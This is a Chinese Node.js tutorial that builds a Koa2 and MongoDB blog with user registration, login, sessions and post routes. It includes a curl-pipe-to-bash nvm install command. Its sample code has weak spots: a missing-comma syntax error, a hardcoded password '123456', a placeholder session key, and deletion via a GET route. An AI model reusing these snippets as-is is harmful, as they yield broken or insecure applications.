Node.js从入门到上线

《Node.js从入门到上线》

一、入门篇


1.1Node.js 的安装与配置

本章节我们将向大家介绍在各个平台上(win,mac与ubuntu)安装Node.js的方法。本安装教程以 Latest LTS Version: 8.11.1 (includes npm 5.6.0) 版本为例

注:Node.js 10 将在今年十月份成为长期支持版本, 使用npm install -g npm升级为npm@6,npm@6性能提升了17倍

安装Node.js

Node.js 有很多种安装方式,进入到Node.js的官网,我们点击 Download 即可下载各个平台上的Node.js。在Mac / Windows 平台我们可以直接下载安装包安装,就像安装其他软件一样。在Ubuntu 可以通过 apt-get 来安装*(CentOS 使用 yum )* , Linux 用户推荐使用源码编译安装。

在 Node.js 的官网 你会发现两个版本的Node.js,LTS 是长期支持版,Current 是最新版

安装完成后在命令行输入

node -v
# v8.11.1

使用 nvm

nvm是Node版本管理器。nvm不支持Windows 可使用nvm-windows 代替

我们可以使用curl或者wget安装。

curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.33.11/install.sh | bash
wget -qO- https://raw.githubusercontent.com/creationix/nvm/v0.33.11/install.sh | bash

注:安装完重启下命令行

使用nvm可以方便的下载安装删除各个版本的Node.js

nvm install node # 安装最新稳定版 node,现在是 v10.0.0
nvm install lts/carbon #安装 v8.11.1

# 使用nvm use切换版本
nvm use v6.14.2 #切换至 v6.14.2 版本

nvm ls # 查看安装的node版本。

具体使用请参考nvm官网

一些有用的工具

cnpm 淘宝 NPM 镜像

nrm 快速切换 NPM 源

由于我国的网络环境,npm源访问会很慢,这时我们可以使用cnpm 或是 用nrm把源换成能国内的

cnpm 安装

npm install -g cnpm --registry=https://registry.npm.taobao.org

或是使用nrm

# 下载包
npm install -g nrm

# 使用
nrm ls
* npm -----  https://registry.npmjs.org/
  cnpm ----  http://r.cnpmjs.org/
  taobao --  https://registry.npm.taobao.org/
  nj ------  https://registry.nodejitsu.com/
  rednpm -- http://registry.mirror.cqupt.edu.cn
  skimdb -- https://skimdb.npmjs.com/registry
  
# 使用淘宝的源
nrm use taobao

hello node

到此想必各位已经在本机上搭建好了node环境,来个 hello world 结束本文

const http = require('http');

const hostname = '127.0.0.1';
const port = 3000;

const server = http.createServer((req, res) => {
  res.statusCode = 200;
  res.setHeader('Content-Type', 'text/plain');
  res.end('Hello World\n');
});

server.listen(port, hostname, () => {
  console.log(`Server running at http://${hostname}:${port}/`);
});

启动服务

$ node app.js
Server running at http://127.0.0.1:3000/

每次改的代码都要重启很麻烦,使用supervisor实现监测文件修改并自动重启应用。

1.2Node.js 基础概览

在编写一个稍大的程序我们一般会将代码模块化使其更易开发维护。Node.js模块采用了CommonJS规范,一个单独的文件就是一个模块。每一个模块都是一个单独的作用域。提供了 require 函数来调用其他模块、exports 对象是当前模块的导出对象,用于导出模块公有方法和属性。exports 是指向的 module.exports 的引用

模块是Node.js 应用程序的基本组成部分,文件和模块是一一对应的。换言之,一个 Node.js 文件就是一个模块,这个文件可能是JavaScript 代码、JSON 或者编译过的C/C++ 扩展。

我们都知道JavaScript先天就缺乏一种功能:模块。浏览器环境的js模块划分只能通过src引入使用。然而,我们是辛运的的,我们在身在这个前端高速发展的时代*(当然了,这也是一种压力,一觉醒来又有新东西诞生了)*。高速发展下社区总结出了CommonJS这算得上是最为重要的里程碑。CommonJS 制定了解决这些问题的一些规范,而Node.js就是这些规范的一种实现。Node.js自身实现了require方法作为其引入模块的方法,同时NPM也是基于CommonJS定义的包规范

Node模块

每个文件就是一个模块,有自己的作用域。在一个文件里面定义的变量、函数、类,都是私有的,对其他文件不可见。commonJS这套规范的出现使得用户不必再考虑变量污染,命名空间这些问题了。

小示例

// add.js
const add = (a, b)=>{
    return a+b
}

module.exports = add
=============================
// index.js
const add = require('./add')

let result = add(1, 2)
console.log(result)

1.模块引用

require()这个方法存在接受一个模块标识,以此引入模块

const fs = require('fs')

Node中引入模块要经历一下三步:

  1. 路径分析
  2. 文件定位
  3. 编译执行

Node优先从缓存中加载模块。Node的模块可分为两类:

  • Node提供的核心模块
  • 用户编写的文件模块

Node核心模块加载速度仅次于缓存中加载,然后路径形式的模块次之,最慢的是自定义模块。

2.模块定义

在模块中,上下文提供了exports来到处模块的方法或者变量。它是唯一出口

exports.add = function(){
  // TODO
}

在模块中还存在一个module对象,它代表模块自身,exports是它的属性。为了方便,Node为每个模块提供一个exports变量,指向module.exports。这等同在每个模块头部,有一行这样的命令

var exports = module.exports

不能直接将exports变量指向一个值,因为这样等于切断了exports与module.exports的联系

exports和module.exports 区别

exports仅仅是module.exports的一个地址引用。nodejs只会导出module.exports的指向,如果exports指向变了,那就仅仅是exports不在指向module.exports,于是不会再被导出

  • module.exports才是真正的接口,exports只不过是它的一个辅助工具。最终返回给调用的是module.exports而不是exports。
  • 所有的exports收集到的属性和方法,都赋值给了module.exports。当然,这有个前提,就是module.exports本身不具备任何属性和方法。如果,module.exports已经具备一些属性和方法,那么exports收集来的信息将被忽略
  • Node开发者建议导出对象用module.exports,导出多个方法和变量用exports

npm模块管理器

npm的出现则是为了在CommonJS规范的基础上,实现解决包的安装卸载,依赖管理,版本管理等问题,npm不需要单独安装。在安装Node的时候,会连带一起安装npm

  • 允许用户从NPM服务器下载别人编写的第三方包到本地使用。
  • 允许用户从NPM服务器下载并安装别人编写的命令行程序到本地使用。
  • 允许用户将自己编写的包或命令行程序上传到NPM服务器供别人使用。

npm包

一个符合CommonJS规范的包应该是如下这种结构:

  • 一个package.json文件应该存在于包顶级目录下
  • 二进制文件应该包含在bin目录下。
  • JavaScript代码应该包含在lib目录下。
  • 文档应该在doc目录下。
  • 单元测试应该在test目录下

package.json

  • name:包名,需要在NPM上是唯一的,小写字母和数字组成可包含_ - .但不能有空格
  • description:包简介。通常会显示在一些列表中
  • version:版本号。一个语义化的版本号(http://semver.org/ ),通常为x.y.z。该版本号十分重要,常常用于一些版本控制的场合
  • keywords:关键字数组。用于NPM中的分类搜索
  • maintainers:包维护者的数组。数组元素是一个包含name、email、web三个属性的JSON对象
  • contributors:包贡献者的数组。第一个就是包的作者本人。在开源社区,如果提交的patch被merge进master分支的话,就应当加上这个贡献patch的人。格式包含name和email
  • bugs:一个可以提交bug的URL地址。可以是邮件地址(mailto:mailxx@domain),也可以是网页地址
  • licenses:包所使用的许可证
  • repositories:托管源代码的地址数组
  • dependencies:当前包需要的依赖。这个属性十分重要,NPM会通过这个属性,帮你自动加载依赖的包

除了前面提到的几个必选字段外,还有一些额外的字段,如bin、scripts、engines、devDependencies、author

npm的使用

行下面的命令,查看各种信息

# 查看 npm 命令列表
$ npm help

# 查看各个命令的简单用法
$ npm -l

# 查看 npm 的版本
$ npm -v

# 查看 npm 的配置
$ npm config list -l

npm 命令安装模块

Node模块采用npm install命令安装。

每个模块可以“全局安装”,也可以“本地安装”。“全局安装”指的是将一个模块安装到系统目录中,各个项目都可以调用。一般来说,全局安装只适用于工具模块。“本地安装”指的是将一个模块下载到当前项目的node_modules子目录,然后只有在项目目录之中,才能调用这个模块。

# 本地安装
$ npm install 

# 全局安装
$ sudo npm install --global 
$ sudo npm install -g 

指定所安装的模块属于哪一种性质的依赖关系

  • –-save:模块名将被添加到dependencies,可以简化为参数-S
  • –-save-dev: 模块名将被添加到devDependencies,可以简化为参数-D
$ npm install  --save
$ npm install  --save-dev

卸载模块

我们可以使用以下命令来卸载 Node.js 模块

$ npm uninstall 

更新模块

我们可以使用以下命令来更新 Node.js 模块

$ npm update 

创建模块

我们可以使用以下命令来创建 Node.js 模块

$ npm init

npm init创建模块会在交互命令行帮我们生产package.json文件

$ npm init
This utility will walk you through creating a package.json file.
It only covers the most common items, and tries to guess sensible defaults.

See `npm help json` for definitive documentation on these fields
and exactly what they do.

Use `npm install  --save` afterwards to install a package and
save it as a dependency in the package.json file.

Press ^C at any time to quit.
name: (node_modules) test                   # 模块名
version: (1.0.0) 
description: Node.js 测试模块                # 描述
entry point: (index.js) 
test command: make test
git repository: https://github.com/test/test.git  # Github 地址
keywords: 
author: 
license: (ISC) 
About to write to ……/node_modules/package.json:      # 生成地址

{
  "name": "test",
  "version": "1.0.0",
  "description": "Node.js 测试模块",
  ……
}


Is this ok? (yes) yes

以上的信息,你需要根据你自己的情况输入。默认回车即可。在最后输入 “yes” 后会生成 package.json 文件。

模块发布

发布模块前首先要在npm注册用户

$ npm adduser
Username: liuxing
Password:
Email: (this IS public) [email protected]

然后

$ npm publish

现在我们的npm包就成功发布了。

更多请查看npm帮助信息 npm 文档

2.1Koa2 初体验

上一节讲了Node.js 的模块以及npm。想必大家都学会了如何安装以及使用Node 模块。这一节,我们一起来看看看Koa2

Hello Koa2

新建一个文件夹hiKoa2,并进入该项目,执行npm init 命令,根据提示输入,生成package.json 文件。你也可以直接使用npm init -y

# 新建文件夹并进入
$ mkdir hiKoa2 && cd hiKoa2

# npm init -y 自动生成package.json
$ npm init -y

安装 Koa2

$ npm install koa --save 

新建 index.js,say hello

const Koa = require('koa')
const app = new Koa()

app.use(async ctx => {
  ctx.body = 'Hello World'
});

app.listen(3000)

在命令行输入 node index.js 访问http://localhost:3000/ 页面将显示 hello, Hello World。恭喜,你已经成功跑起来了个Koa2服务。

之前写过一篇Koa2快速入门 介绍了Koa2 路由、静态资源、模板引擎、请求数据的获取等。这儿就不再赘述,关于数据库的使用之后再补上

使用supervisor 或者 nodemon

在第一节的时候我们说过supervisor 和 nodemon,不知道你们有没有去自己了解。现在来看看如何使用。

安装使用supervisor

# 全局安装
$ npm i -g supervisor

# 运行程序
$ supervisor index.js

现在更改index.js 文件试试,supervisor 会自动重启程序而不需要我们手动重启,supervisor 会监听当前目录下的js文件。nodemon使用方式基本一样,不过可配置性更高。

调试Node.js

使用VS Code 调试

如果你是用VS Code这个宇宙最强编辑器,那很方便你可以直接使用其自带的调试工具。

  1. 单击左侧第 4 个 tab (调试图标一个虫子那个图标)
  2. 点击击代码第 5 行 ctx.body = 'Hello World' 左侧空白处添加断点。
  3. 单击左上角 ”调试“ 的绿色三角按钮选着Node.js环境 开始调试。
  4. 点击左上角的终端图标打开调试控制台。

现在在浏览器中打开 http://localhost:3000/ *(也可以直接切换到终端 curl localhost:3000)*就可以从VS Code 的调试栏查看详细信息了。

使用 Chrome DevTools

曾经要想在Chrome DevTools中调试我们需要 node-inspector 这个工具,[email protected]以后内置了一个调试器。

我们只需要运行一下命令,再访问 chrome://inspect 点击 Remote Target 下的 inspect,选择 Sources 找到源码即可打断点调试。

$ node --inspect index.js

2.2MongoDB 的安装以及使用

MongoDB 是一个基于分布式文件存储的数据库。由 C++ 语言编写。旨在为 WEB 应用提供可扩展的高性能数据存储解决方案。MongoDB 是一个介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。

MongoDB 的安装

MongoDB 的官网有了详细的安装引导
https://docs.mongodb.com/manual/administration/install-community

也可以看看菜鸟教程

http://www.runoob.com/mongodb/mongodb-window-install.html

MongoDB的基本使用

我们启动MongoDB服务后,我们可以使用 MongoDB shell 来连接操作 MongoDB 服务器

创建数据库,如果数据库不存在,则创建,否则切换到指定数据库

use DATABASE_NAME

查看所有数据库

show dbs 

删除数据库

db.dropDatabase()

查看集合

show collections

创建集合

db.createCollection(name, options)

删除集合

db.collection.drop()

插入文档

db.COLLECTION_NAME.insert(document)

更新文档

db.collection.update(
   <query>,
   <update>,
   {
     upsert: <boolean>,
     multi: <boolean>,
     writeConcern: <document>
   }
)

删除文档

db.collection.remove(
   <query>,
   <justOne>
)

查询文档

db.collection.find(query, projection)

使用可视化管理工具

可能你会觉得在命令行操作起来太麻烦,不怕,还有可视化工具呢。

现在我用的比较多的是 Studio 3T 这是一个收费的(基础功能免费),当然还有个Robo 3T是免费的。Robo 3T(以前叫作Robomongo)不过它被3T Software Labs给收购了。

Studio 3T 肯定比Robo 3T 强大点,毕竟有的功能是要收费的,关于二者的选择,还是先自行尝试一番。

关于Node操作 MongoDB可以看看 Node操作MongoDB数据库 在这个教程中用了express加mongoose。与Koa2 结合也大致一样。

3.1开发前的项目配置

通常一个完整健壮的项目,需要良好的团队协作,我们需要统一好编码风格以及代码风格按照一定规范来编码。

我们新建一个项目目录 blog

$ mkdir blog && cd blog

在项目目录下运行 npm init 生成package.json 初识化项目

规划项目目录结构

在blog 下建立如下目录及文件,现在在这个项目中有models 层 、views 视图、routes 路由等

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FhIargce-1654394990958)(./images/dir.png)]

我们还用到了ESLint 来检查代码风格,使用editorconfig来统一编码风格,使用Git 管理项目,commitizen来统一Commit message。

现在这几个目录都是空的,但Git不跟踪空目录,我们在目录下建立了个.gitkeep .gitkeep 是一个约定俗成的文件名并不带有特殊规则。我们还用到了.gitignore文件,文件的内容为我们要忽略提交到Git的文件,Git就会自动忽略这些文件。例如:

.DS_Store
node_modules
*.log

使用editorconfig

在项目中我们使用 .editorconfig 文件 统一代码风格 ,该文件用来定义项目的编码规范如:缩进方式、换行符,编码等。编辑器的行为会与.editorconfig 文件中定义的一致,并且其优先级比编辑器自身的设置要高,这在多人合作开发项目时十分有用而且必要。

# editorconfig.org
root = true

[*]
indent_style = space
indent_size = 2
end_of_line = lf
charset = utf-8
trim_trailing_whitespace = true
insert_final_newline = true

[*.md]
trim_trailing_whitespace = false

更多配置请查看 http://editorconfig.org

使用commitizen

在这项目中我们使用了Git 来作为版本控制器,如果你还不太会GIt 请先阅读 一篇文章,教你学会Git ,写好Commit message 则可参考 更优雅的使用Git

使用npm 全局安装

$ npm install -g commitizen

在项目中使用 angular 的 commit 规范

$ commitizen init cz-conventional-changelog --save-dev --save-exact

然后我们就可以愉快的使用 git cz 代替 git commit 命令了。当然我们也可也将其加到npm script 中

"script": {    
	"commit": "git cz"
}

然后直接使用npm run commit 或者使用 git cz

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gTjG5nyj-1654394990959)(https://github.com/commitizen/cz-cli/raw/master/meta/screenshots/add-commit.png)]

使用ESLint

ESLint 是一个插件化的javascript代码检测工具,它可以用于检查常见的JavaScript代码错误,也可以进行代码风格检查,这样我们就可以根据自己的喜好指定一套ESLint配置,然后应用到所编写的项目上,从而实现辅助编码规范的执行,有效控制项目代码的质量。

在开始使用ESLint之前,我们需要通过NPM来安装它:

$ npm install -g eslint
# 我们也可以将它安装到项目开发依赖中
$ npm install --save-dev eslint

接下来就可以使用 eslint*.js 来检查代码。我们还可以与 Git hooks 配合,在提交时自动检查

$ npm install --save-dev lint-staged husky

husky 可以方便我使用Git hooks,我们用来配置在提交代码是检查代码

lint-staged 每次提交只检查本次提交所修改的文件

关于代码风格,我们使用 JavaScript standard style

$ npm install --save-dev eslint-config-standard eslint-plugin-standard eslint-plugin-promise eslint-plugin-import eslint-plugin-node

然后配置 .eslintrc

{
  "extends": "standard"
}

你也可以直接使用eslint —init 来初始化 eslint 配置,eslint 会创建一个 .eslintrc.json 的配置文件,同时自动安装相关模块,省去了我们手动安装配置

使用Git hooks自动检查代码

我们在package.json 稍做配置即可

// 配置husky 在提交代码时运行lint-staged
"husky": {
  "hooks": {
    "pre-commit": "lint-staged"
   }
},
// 配置lint-staged 只在检查本次提交的代码
"lint-staged": {
  "*.js": [
     "eslint --fix",
     "git add"
  ]
}

到此我们的这个项目配置的差不多了,也是一套比较流行的工作流。

最后来把我们要用到的Koa相关的包给安装着,具体开发还是放到下一节

$ npm install --save koa koa-router koa-views koa-static

3.2把项目跑起来

上一节我们规划好了目录,配置好了开发环境。现在就来将项目跑起来,本节主要是讲视图、控制器之类的串起来。

router

我们先来配置下路由,前面说了,路由放在routes 目录下.

// routes/index.js
const router = require('koa-router')()

module.exports = (app) => {
  router.get('/', require('./home').index)
  router.get('/about', require('./about').index)

  app
    .use(router.routes())
    .use(router.allowedMethods())
}

// routes/home.js
module.exports = {
  async index (ctx, next) {
    await ctx.render('index', {
      title: 'abc-blog',
      desc: '欢迎关注公众号 JavaScript之禅'
    })
  }
}

看看index.js

// index.js
const Koa = require('koa')
const router = require('./routes')

const app = new Koa()

router(app)

app.listen(3000, () => {
  console.log('server is running at http://localhost:3000')
})

配置模板引擎

模板引擎(Template Engine)是一个将页面模板和数据结合起来生成 html 的工具。在这个项目中我们使用了 nunjucks 这个模板引擎,nunjucks移植与Python的jinja2,使用起来基本一样

$ npm i koa-views nunjucks --save

使用koa-views 来配置 nunjucks

const Koa = require('koa')
const path = require('path')
const views = require('koa-views')
const router = require('./routes')

const app = new Koa()

app.use(views(path.join(__dirname, 'views'), {
  map: { html: 'nunjucks' }
}))
···

将所有模板放在 views 目录下,在views 目录下新建一个index.html




  
  
  
  {{title}}


{{title}}

{{ desc }}

然后可以通过 ctx.render 函数 渲染模板,第一个参数是模板的名字,它会自动去views 找到对应的模板并渲染,第二个参数是传输的给模板的数据。如下,我们渲染了index.html并传给了它title与desc

// routes/home.js
module.exports = {
  async index (ctx, next) {
    await ctx.render('index', {
      title: 'abc-blog',
      desc: '欢迎关注公众号 JavaScript之禅'
    })
  }
}

打开浏览器将得到如下内容

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8aQp9a3U-1654395053124)(./images/koa-views.png)]关于nunjucks的具体语法可查看官方文档

https://mozilla.github.io/nunjucks/cn/templating.html

配置静态资源

我们将使用 koa-static 插件来处理静态资源,并且把所有静态资源放在public目录下

···
const serve = require('koa-static')
···
app.use(serve(
  path.join(__dirname, 'public')
))
···

现在处理数据库相关的处理没加入,我们的这个项目基本上已经成型。在开发阶段,我们使用

$ nodemon index.js

来启动项目,免去手动重启的问题

3.3使用mongoose操作数据库

在前一节中,我们已经将项目跑起来了。这节我们来使用mongoose来操作MongoDB,通过之前的的章节想必大家都在安装起了MongoDB,并了解了一点点基本使用。关于mongoose的基本使用可以查看Node操作MongoDB数据库

##连接数据库

在连接数据库之前当然是先开启数据库了。如果忘了怎么开启,回过头去看看*(温故而知新)*

index.js

...
const mongoose = require('mongoose')
mongoose.connect('mongodb://localhost:27017/blog')

在项目中,代码与配置分离是一种很好的做法。可以很方便我们的更改,同时在开发阶段、测试阶段、线上部署等阶段使用不同的配置。关于如何针对不同环境使用不同配置,后面再说

我们先在config文件夹下建一个config.js

module.exports = {
  port: process.env.PORT || 3000,
  session: {
    key: 'blog',
    maxAge: 86400000
  },
  mongodb: 'mongodb://localhost:27017/blog'
}

现在在index.js中直接引入config.js 使用即可

...
const mongoose = require('mongoose')
const CONFIG = require('./config/config')
mongoose.connect(CONFIG.mongodb)
..

设计Schema

现在我们以下节要讲的用户登录注册为例来设计用户模型,并生成Model。 model是由schema生成的模型,可以对数据库的操作

const mongoose = require('mongoose')
const Schema = mongoose.Schema

const UserSchema = new Schema({
  name: {
    type: String,
    required: true,
    unique: true
  },
  email: {
    type: String,
    required: true,
    unique: true
  },
  password: {
    type: 'string',
    required: true
  },
  meta: {
    createAt: {
      type: Date,
      default: Date.now()
    }
  }
})

module.exports = mongoose.model('User', UserSchema)

使用model

routes 目录下新建一个user.js 用来实现用户注册登录等。如下,为了演示使用mongoose操作数据库,我们新建了一个用户

const UserModel = require('../models/user')

module.exports = {
  async signup (ctx, next) {
    const user = {
      name: 'liuxing'
      email '[email protected]'
      password: '123456'
    }
    const result = await UserModel.create(user)
    ctx.body = result
  },
}

添加一个GET /signup 路由,查看数据库可以看见刚刚新建的这个用户

在这儿,我们把数据写死了,没有从表单获取数据,也没有对密码加密。详细的登录注册我们下一节再讲。

3.4用户注册与登录

这一节开始,我就来实现具体的功能了,这一节要实现的是用户登录注册与登出。

在前一节已经规划好了UserSchema ,这儿增加了一个isAdmin 字段来判断是不是管理员

...
const UserSchema = new Schema({
  name: {
    type: String,
    required: true, // 表示该字段是必需的
    unique: true // 表示该字段唯一
  },
  email: {
    type: String,
    required: true,
    unique: true
  },
  password: {
    type: 'string',
    required: true
  },
  isAdmin: {
    type: Boolean,
    default: false
  },
  meta: {
    createAt: {
      type: Date,
      default: Date.now()
    }
  }
})

module.exports = mongoose.model('User', UserSchema)

定义了用户表的 schema,并通过schema生成导出了 User 这个 model

cookie与session

由于HTTP协议是无状态的协议,所以服务端需要记录用户的状态时,就需要用某种机制来识具体的用户,这个机制就是Session.典型的场景比如购物车,当你点击下单按钮时,由于HTTP协议无状态,所以并不知道是哪个用户操作的,所以服务端要为特定的用户创建了特定的Session,用用于标识这个用户,并且跟踪用户,这样才知道购物车里面有几本书。这个Session是保存在服务端的,有一个唯一标识。在服务端保存Session的方法很多,内存、数据库、文件都有。集群的时候也要考虑Session的转移,在大型的网站,一般会有专门的Session服务器集群,用来保存用户会话,这个时候 Session 信息都是放在内存的,使用一些缓存服务比如Memcached之类的来放 Session。

思考一下服务端如何识别特定的客户?这个时候Cookie就登场了。每次HTTP请求的时候,客户端都会发送相应的Cookie信息到服务端。实际上大多数的应用都是用 Cookie 来实现Session跟踪的,第一次创建Session的时候,服务端会在HTTP协议中告诉客户端,需要在 Cookie 里面记录一个Session ID,以后每次请求把这个会话ID发送到服务器,我就知道你是谁了。有人问,如果客户端的浏览器禁用了 Cookie 怎么办?一般这种情况下,会使用一种叫做URL重写的技术来进行会话跟踪,即每次HTTP交互,URL后面都会被附加上一个诸如 sid=xxxxx 这样的参数,服务端据此来识别用户。

Cookie其实还可以用在一些方便用户的场景下,设想你某次登陆过一个网站,下次登录的时候不想再次输入账号了,怎么办?这个信息可以写到Cookie里面,访问网站的时候,网站页面的脚本可以读取这个信息,就自动帮你把用户名给填了,能够方便一下用户。这也是Cookie名称的由来,给用户的一点甜头。
所以,总结一下:
Session是在服务端保存的一个数据结构,用来跟踪用户的状态,这个数据可以保存在集群、数据库、文件中。
Cookie是客户端保存用户信息的一种机制,用来记录用户的一些信息,也是实现Session的一种方式。

koa2原生功能只提供了cookie的操作,但是没有提供session操作。session就只用自己实现或者通过第三方中间件实现。这里我们使用koa-session 来实对session的支持。

下载使用

$ npm install --save koa-session
...
const session = require('koa-session')
...
app.keys = ['somethings']

app.use(session({
  key: CONFIG.session.key,
  maxAge: CONFIG.session.maxAge
}, app))

用户注册页面

上一节中我们已经实现了一个最简单的用户注册。来新建个views/signup.html

{% extends 'views/base.html' %} 
{% block body %}
{% endblock %}

获取POST 请求数据

对于POST请求的处理,koa2没有封装获取参数的方法,需要我们自己去解析*(通过解析上下文context中的原生node.js请求对象req,将POST表单数据解析成query string(例如:a=1&b=2&c=3),再将query string 解析成JSON格式)* 我们可以自己写,也可以直接使用第三方中间件。koa-bodyparser中间件可以把koa2上下文的formData 数据解析到ctx.request.body中

安装使用

$ npm install --save koa-bodyparser
// index.js
...
const bodyParser = require('koa-bodyparser')
..
app.use(bodyParser())

现在就可以使用ctx.request.body 获取到POST过来的参数了。

密码加密

这儿我们使用了bcryptjs 来对密码进行加密加盐。

const bcrypt = require('bcryptjs')
const UserModel = require('../models/user')

module.exports = {
  async signup (ctx, next) {
    if (ctx.method === 'GET') {
      await ctx.render('signup', {
        title: '用户注册'
      })
      return
    }
    // 生成salt
    const salt = await bcrypt.genSalt(10)
    let { name, email, password } = ctx.request.body
    // TODO 合法性校验
    // 对密码进行加密
    password = await bcrypt.hash(password, salt)
    const user = {
      name,
      email,
      password
    }
    // 储存到数据库
    const result = await UserModel.create(user)
    ctx.body = result
  }
}

用户注册

在前面这步我们已经实现了用户的注册,添加如下路由

...
router.get('/signup', require('./user').signup)
router.post('/signup', require('./user').signup)
..

现在访问http://localhost:3000/signup 将看见如下页面

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-n3lM9Ix2-1654395173928)(./images/signup.png)]

注册用户,就可以在数据库中查看到该用户。注意这儿斌没有做一些校验工作,可以自己先实现。

用户登录

现在我们来完成登录页,在routes/user.js 中新增signin方法

async signin (ctx, next) {
    await ctx.render('signin', {
       title: '用户登录'
    })
 }

新建用户登录页signin.html

{% extends 'views/base.html' %}
{% block body %}
{% endblock %}

新增路由

// routes/index.js
...
router.get('/signin', require('./user').signin)
router.post('/signin', require('./user').signin)
...

现在访问http://localhost:3000/signup 将看见如下登录页

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WowGrfoc-1654395173930)(./images/signin.png)]

用户登录时,根据post过来的name去数据库中查找有无该用户,如果有,就校验穿上来的密码与数据库中的是否一致。数据库中的密码使用了bcrypt加密。我们使用bcrypt.compare() 来比对

async signin (ctx, next) {
    if (ctx.method === 'GET') {
      await ctx.render('signin', {
        title: '用户登录'
      })
      return
    }
    const { name, password } = ctx.request.body
    const user = await UserModel.findOne({ name })
    if (user && await bcrypt.compare(password, user.password)) {
      ctx.session.user = {
        _id: user._id,
        name: user.name,
        isAdmin: user.isAdmin,
        email: user.email
      }
      ctx.redirect('/')
    } else {
      ctx.body = '用户名或密码错误'
    }
  }

为了能够直观的看见我们登录了,修改一下views/header.html


这里我们根据 session 判断用户是否登录,登录了就显示用户名以及退出按钮,如未登录则显示登录注册按钮。

在view中是不能直接获取到ctx的,除非每次都通过模板引擎传过来。为了方便,我们使用ctx.state 来将信息传给前端视图,这样我们就可以直接使用了。修改index.js在路由前面加上如下代码

..
app.use(async (ctx, next) => {
  ctx.state.ctx = ctx
  await next()
})

router(app)
..

现在用你之前注册的用户登录试试。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-E2uAo17M-1654395173930)(./images/login-index.png)]

用户登出

最后我们来实现用户登出 GET /signout,将session.user设置为null即可

signout (ctx, next) {
    ctx.session = null
    ctx.redirect('/')
}

3.5koa2中间件开发

koa2 中间件机制

Koa 是一个简单、轻量的 Web 框架。Koa 的最大特色,也是最重要的一个设计,就是中间件*(middleware)* 。Koa 应用程序是一个包含一组中间件函数的对象,它是按照类似堆栈的方式组织和执行的。Koa中使用 app.use() 用来加载中间件,基本上Koa 所有的功能都是通过中间件实现的。每个中间件默认接受两个参数,第一个参数是 Context 对象,第二个参数是next函数。只要调用next函数,就可以把执行权转交给下一个中间件。

下图为经典的Koa洋葱模型

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mxxGkd7H-1654395212396)(http://ommpd2lnj.bkt.clouddn.com/onion.png)]

看看官网的经典示例:

const Koa = require('koa')
const app = new Koa()

// x-response-time
app.use(async (ctx, next) => {
  const start = Date.now()
  await next()
  const ms = Date.now() - start
  ctx.set('X-Response-Time', `${ms}ms`)
})

// logger
app.use(async (ctx, next) => {
  const start = Date.now()
  await next()
  const ms = Date.now() - start
  console.log(`${ctx.method} ${ctx.url} - ${ms}`)
})

// response
app.use(async ctx => {
  ctx.body = 'Hello World'
})

app.listen(3000)

上面的执行顺序就是:请求 ==> response-time中间件 ==> logger中间件 ==> 响应中间件 ==> logger中间件 ==> response-time中间件 ==> 响应。

请求进来,先进到x-response-time中间件,执行 const start = new Date()然后遇到await next(),则暂停x-response-time中间件的执行,跳转进logger中间件,同理,最后进入响应中间件,响应中间件中没有await next()代码,则开始逆序执行,也就是再先是回到logger中间件,执行await next()之后的代码,执行完后再回到x-response-time中间件执行await next()之后的代码。

koa2 中间件编写

我们来看看如何编写中间件,其实上面的logger、x-response-time都是中间件,通过app.use注册,同时为该函数传入 ctxnext 两个参数。

ctx 作为上下文使用,包含了基本的 ctx.requestctx.response,还对 Koa 内部对一些常用的属性或者方法做了代理操作,使得我们可以直接通过 ctx 获取。比如,ctx.request.url 可以写成 ctx.url

next 参数的作用是将处理的控制权转交给下一个中间件,而 next() 后面的代码,将会在下一个中间件及后面的中间件运行结束后再执行。

// middleware/logger.js
module.exports = function () {
  return async function ( ctx, next ) {
    console.log( ctx.method, ctx.header.host + ctx.url )
    await next()
  }
}

消息闪现中间件

前面我们实现了用户登录注册,但是没有一个友好的提示如:注册成功、登陆成功等。一般一个操作完成后,我们都希望在页面上闪出一个消息,告诉用户操作的结果。其原先是出自 rails 的,用于在页面上显示一些提示信息。

我们就来实现一个基于session的消息闪现。新建middlewares目录,并建一个flash.js

module.exports = function flash (opts) {
  let key = 'flash'
  return async (ctx, next) => {
    if (ctx.session === undefined) throw new Error('ctx.flash requires sessions')
    let data = ctx.session[key]
    ctx.session[key] = null
    Object.defineProperty(ctx, 'flash', {
      enumerable: true,
      get: () => data,
      set: (val) => {
        ctx.session[key] = val
      }
    })
    await next()
  }
}

这个flash消息就是将消息挂到session上再清空,只显示一次,刷新后就没有了。这个中间件可优化的地方还很多,这儿重点不是优化功能就先跳过。

我们还需添加一个显示提示的视图模板,就叫他notification.html

// components/notification.html

{% if ctx.flash %}
{% if ctx.flash.success %}
{{ctx.flash.success}}
{% elif ctx.flash.warning %}
{{ctx.flash.warning}}
{% endif %}
{% endif %}

这个模板中,添加了success和warning两种提示。把它引入base.html

使用flash中间件

// index.js
...
const flash = require('./middlewares/flash')
...
app.use(flash())
...

// user.js
...
signout (ctx, next) {
    ctx.session.user = null
    ctx.flash = { warning: '退出登录' }
    ctx.redirect('/')
}
...

3.6文章的增删改查

这节我们来实现一个文章相关功能:

发表文章 GET posts/new POST posts/new

文章详情 GET posts/:id

修改文章 GET posts/:id/edit POST posts/:id/edit

删除文章 GET /posts/:id/detele

文章列表直接就在 GET /GET /posts显示

// routes/index.js
...
router.get('/', require('./posts').index)
...
router.get('/posts', require('./posts').index)
router.get('/posts/new', require('./posts').create)
router.post('/posts/new', require('./posts').create)
router.get('/posts/:id', require('./posts').show)
router.get('/posts/:id/edit', require('./posts').edit)
router.post('/posts/:id/edit', require('./posts').edit)
router.get('/posts/:id/delete', require('./posts').destroy)
...

文章模型设计

// models/post.js
const mongoose = require('mongoose')
const Schema = mongoose.Schema

const PostSchema = new Schema({
  author: {
    type: Schema.Types.ObjectId,
    ref: 'User',
    require: true
  },
  title: {
    type: String,
    required: true
  },
  content: {
    type: String,
    required: true
  },
  pv: {
    type: Number,
    default: 0
  },
  meta: {
    createdAt: {
      type: Date,
